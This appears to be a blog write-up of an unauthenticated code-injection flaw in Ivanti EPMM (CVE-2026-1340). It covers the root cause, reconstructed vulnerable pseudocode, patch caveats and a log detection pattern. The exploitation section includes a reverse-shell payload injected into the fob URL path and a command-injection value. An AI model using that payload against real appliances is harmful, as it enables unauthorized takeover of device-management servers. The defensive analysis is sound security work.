Jan 30, 2026·7 min read·116 visits
Unauthenticated RCE in Ivanti EPMM (formerly MobileIron) via the /mifs/c/appstore/fob/ endpoint. Exploited in the wild as a zero-day. CVSS 9.8. Patch immediately using the vendor-supplied RPMs.
It's becoming a tradition, isn't it? Every few months, the security community gathers around the bonfire to warm their hands over another burning edge appliance. This time, Ivanti Endpoint Manager Mobile (EPMM)—the artist formerly known as MobileIron Core—is back in the spotlight. CVE-2026-1340 is a Critical (CVSS 9.8) Unauthenticated Remote Code Execution vulnerability that allows any script kiddie with a curl binary to execute arbitrary commands as the web server user. Disclosed in late January 2026 alongside its twin, CVE-2026-1281, this flaw was exploited in the wild as a zero-day. The vulnerability lies deep within the application distribution logic, specifically in how the appliance handles 'fob' objects. If you are running EPMM 12.7 or older and haven't applied the emergency RPMs, your MDM server essentially has a 'Welcome' mat deployed to the entire internet.
Let's talk about why Mobile Device Management (MDM) servers are the absolute crown jewels of any enterprise network. They aren't just servers; they are the puppet masters for every corporate iPhone, iPad, and Android device in your fleet. They hold the certificates, the VPN profiles, the email configurations, and the power to wipe devices remotely. If you compromise the MDM, you don't just own a server; you own the CEO's pocket.
Ivanti EPMM (MobileIron Core) sits on the edge of the network, usually exposed on port 443 so that mobile devices can check in from Starbucks Wi-Fi. It is a high-value target with a massive attack surface. In a perfect world, this appliance would be a fortress. In our world, it's seemingly held together by legacy code and prayer.
CVE-2026-1340 is particularly nasty because it requires zero authentication. No phished credentials, no lucky guesses, no brute forcing. The attacker simply asks the server to run code, and the server obliges. It targets the web interface used for distributing in-house applications (appstore) and file configurations (aftstore). Because these endpoints need to be accessible to devices attempting to download content, they are often reachable without a valid session cookie—a design choice that has now come back to haunt us.
The vulnerability is a classic case of CWE-94: Improper Control of Generation of Code ('Code Injection'). In modern web development, we are taught to treat user input like radioactive waste—contain it, sanitize it, and never let it touch an execution context. Somewhere in the sprawling codebase of EPMM, the developers missed a spot.
The flaw resides in the handling of the URI path for specific endpoints:
/mifs/c/appstore/fob//mifs/c/aftstore/fob/The fob component (likely standing for File Object) is processed by the backend to retrieve application or file metadata. The parsing logic takes a portion of the URL path and, instead of treating it purely as a string identifier, passes it into a context where it is evaluated as code. This is likely due to the use of a dynamic expression language or a direct system call wrapper that fails to escape shell metacharacters.
What makes this amusingly tragic is that the exploit doesn't require a complex memory corruption chain. We aren't overflowing a heap buffer here. We are simply putting command syntax where a filename should be. It's the digital equivalent of writing rm -rf / on a sticky note and handing it to a receptionist who dutifully types it into the terminal.
While the exact source code is proprietary, we can reconstruct the vulnerable logic based on the behavior observed in the wild and the structure of the patch. The handler for the fob endpoint likely looks something like this pseudocode:
// Pseudocode representation of the flaw
@Path("/mifs/c/appstore/fob/{objectId}")
public Response getFileObject(@PathParam("objectId") String objectId) {
// The fatal mistake: Using the input directly in a command or expression
String command = "/opt/ivanti/bin/fetch_metadata.sh " + objectId;
// Execution of the tainted string
Runtime.getRuntime().exec(command);
return Response.ok().build();
}In the patched version (delivered via the RPM scripts), Ivanti introduces strict validation. They likely switched from a blacklist approach (trying to block ;, |, etc.) to a whitelist approach (only allowing alphanumeric characters and valid UUIDs). Alternatively, they may have refactored the code to stop shelling out to the OS entirely, using native Java file I/O instead.
The patch analysis reveals that the vulnerability allows for argument injection. Even if the attacker cannot inject a pipe (|) to start a new command, they might be able to inject flags to the underlying binary that cause it to execute arbitrary scripts or write files to sensitive locations.
Here is where it gets interesting for the Red Teamers. The exploitation of CVE-2026-1340 has a unique signature. When you successfully exploit the vulnerability, the server often responds with a 404 Not Found.
Why? Because the injected payload breaks the logic that looks up the actual file. The code executes your malicious command first, fails to find the file named myshell.php; ls -la, and then throws the 404 error. This behavior is a critical indicator for Blue Teams: a 404 on these specific endpoints is actually a sign of success for the attacker, not failure.
/mifs/)./mifs/c/appstore/fob/<PAYLOAD>.; /bin/sh -i >& /dev/tcp/10.0.0.1/1337 0>&1This vulnerability pairs beautifully with CVE-2026-1281. While 1281 might be used for different administrative logic, 1340 provides the raw, unauthenticated entry point needed to kick down the door.
So, you've popped a shell on the MDM. Now what?
First, you are likely running as the tomcat or httpd user. While not root initially, privilege escalation on these appliances is notoriously trivial due to misconfigured permissions and sudo rules left behind for maintenance scripts. Once you have root, you have the encryption keys.
With access to the EPMM database, an attacker can:
This isn't just a data breach; it's an operational paralysis event. The Dutch NCSC confirmed this was used in targeted espionage campaigns, likely to gain initial access to high-value government or defense networks.
Ivanti has released mitigations, but they come with a massive caveat that you need to read twice. The immediate fix is an RPM script applied via the appliance command line (CLI).
The Trap: This RPM patch does not survive a version upgrade. If you are on version 12.5, apply the patch, and then decide to upgrade to 12.6 next week thinking you are safe—you just re-opened the vulnerability. You must re-apply the patch after every upgrade until the permanent fix in version 12.8.0.0 is released (slated for Q1 2026).
/mifs/c/ to internal IPs only via your WAF (though this may break device enrollment for remote users).ivanti-epmm-12.x.x-patch.rpm -qa | grep ivanti to ensure the patch is listed.^(?!127\.0\.0\.1:\d+.*$).*?\/mifs\/c\/(aft|app)store\/fob\/.*?404. If you see matches, assume compromise and initiate Incident Response.Do not wait for the 12.8 release. If your interface is on the public internet, you are likely already being scanned.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Ivanti EPMM Ivanti | <= 12.7.0.0 | RPM Patch / 12.8.0.0 |
| Attribute | Detail |
|---|---|
| CVSS | 9.8 (Critical) |
| CWE | CWE-94 (Code Injection) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Exploit Status | Active / Zero-Day |
| Attack Vector | Network (Unauthenticated) |
| Endpoint | /mifs/c/appstore/fob/ |
The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.